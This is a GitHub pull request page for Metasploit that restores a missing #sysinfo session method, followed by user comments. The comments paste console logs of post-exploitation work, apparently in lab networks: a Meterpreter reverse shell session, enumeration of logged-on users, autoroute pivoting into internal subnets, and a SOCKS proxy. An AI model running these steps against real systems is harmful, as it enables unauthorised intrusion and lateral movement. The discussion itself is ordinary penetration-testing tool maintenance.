Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Readd the #sysinfo method #18667

Merged
merged 1 commit into from Jan 8, 2024
Merged

Readd the #sysinfo method #18667

merged 1 commit into from Jan 8, 2024

Conversation

zeroSteiner
Copy link
Contributor

This fixes #18647 by re-adding the #sysinfo instance method for sessions. When #18539 was landed, the methods were mostly moved from post_mixin.rb to session_compatibility.rb but for some reason, #sysinfo was left out which is causing a lot of post modules to fail.

Verification

  • Start msfconsole
  • Obtain a Meterpreter session
  • Run the post/multi/manage/autoroute module, see that it works

@LongWayHomie
Copy link

LongWayHomie commented Jan 4, 2024

Works miracle, thank you very much for help!

msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > run post/windows/gather/enum_logged_on_users 

[*] Running module against WKSTN-2 (10.10.123.102)

Current Logged Users
====================

 SID                                           User
 ---                                           ----
 S-1-5-21-569305411-121244042-2357301523-1104  DEV\bfarmer
 S-1-5-21-569305411-121244042-2357301523-1105  DEV\jking


[+] Results saved in: /root/.msf4/loot/20240105000109_default_10.10.123.102_host.users.activ_568747.txt

Recently Logged Users
=====================

 SID                                           Profile Path
 ---                                           ------------
 S-1-5-18                                      C:\Windows\system32\config\systemprofile
 S-1-5-19                                      C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                      C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-569305411-121244042-2357301523-1104  C:\Users\bfarmer
 S-1-5-21-569305411-121244042-2357301523-1105  C:\Users\jking


[+] Results saved in: /root/.msf4/loot/20240105000115_default_10.10.123.102_host.users.recen_833275.txt
meterpreter > 

@preyes323
Copy link

This worked for me as well. Thank you!

For info I encountered sysinfo name error with windows/local/ms10_092_schelevator

@DEFCESCO
Copy link

DEFCESCO commented Jan 5, 2024

It works for me as well; thanks again.

[*] Started reverse TCP handler on 192.168.45.220:443 
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.233.121
[*] Meterpreter session 1 opened (192.168.45.220:443 -> 192.168.233.121:62023) at 2024-01-05 09:32:27 -0500

msf6 exploit(multi/handler) > use multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set session 1
session => 1
msf6 post(multi/manage/autoroute) > run

[*] Running module against WEB02
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.233.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.233.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set VERSION 5
VERSION => 5
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/socks_proxy) > 
[*] Starting the SOCKS proxy server

@kamil119
Copy link

kamil119 commented Jan 5, 2024

I have the same problem but with a different payload. Does anyone know
how to solve it?

[-] Could not connect to session: undefined local variable or method sysinfo' for #<Module:exploit/windows/local/persistence datastore=[#<Msf::ModuleDataStoreWithFallbacks:0x00007f00a76aa230 @options={"WORKSPACE"=>#<Msf::OptString:0x00007f00a78ea838 @name="WORKSPACE", @advanced=true

ms1
ms2
ms3

@zeroSteiner
Copy link
Contributor Author

@kamil119 did you apply the changes from this PR? It looks like the same issue that would be fixed if you had.

@kamil119
Copy link

kamil119 commented Jan 6, 2024

I tried it. It doesn't seem to work. hmmmm

ms4

@h00die
Copy link
Contributor

h00die commented Jan 6, 2024

Make sure you're running ./msfconsole in your git folder with this branch checked out. Putting that in the screenshot would help as well

@averagejoe365
Copy link

How do you actually implement this change into MSF on Kali?
Screenshot 2024-01-05 at 8 26 57 PM

@kamil119
Copy link

kamil119 commented Jan 6, 2024

Make sure you're running ./msfconsole in your git folder with this branch checked out. Putting that in the screenshot would help as well

I don't know what to do ... the problem persists ... I started ./msfconsol from the folder

msf1
msf2

@preyes323
Copy link

@averagejoe365 you can merge this PR/branch into your main/master branch or checkout to this branch.

Alternatively, you can manually edit the file and copy the changes suggested. You can check out here for what was changed.

@kamil119 you can also check out your local copy of the file that I referenced above if you have the change suggested in this PR.

@averagejoe365
Copy link

@averagejoe365 you can merge this PR/branch into your main/master branch or checkout to this branch.

Alternatively, you can manually edit the file and copy the changes suggested. You can check out here for what was changed.

@kamil119 you can also check out your local copy of the file that I referenced above if you have the change suggested in this PR.

Thanks - I'll try this and let you know.

@averagejoe365
Copy link

here

@preyes323 Do we just add that snippet of code into the existing file? The fix didn't seem to resolve the issue, but I'm not familiar with ruby. here

@preyes323
Copy link

here

@preyes323 Do we just add that snippet of code into the existing file? The fix didn't seem to resolve the issue, but I'm not familiar with ruby. here

@averagejoe365 yes you can edit the file directly. If you're not familiar with ruby, you can also merge this PR into your current working branch.

If you did change it, try restarting the metasploit, maybe the change wasn't recognized.

@dwelch-r7 dwelch-r7 merged commit ad4b47f into rapid7:master Jan 8, 2024
59 checks passed
@dwelch-r7 dwelch-r7 added the rn-fix release notes fix label Jan 8, 2024
@dwelch-r7
Copy link
Contributor

Release Notes

Re-adds the #sysinfo instance method for sessions

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug library rn-fix release notes fix
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Multiple windows/local exploits causing NameError undefined local variable or method `sysinfo' since 6.3.47
9 participants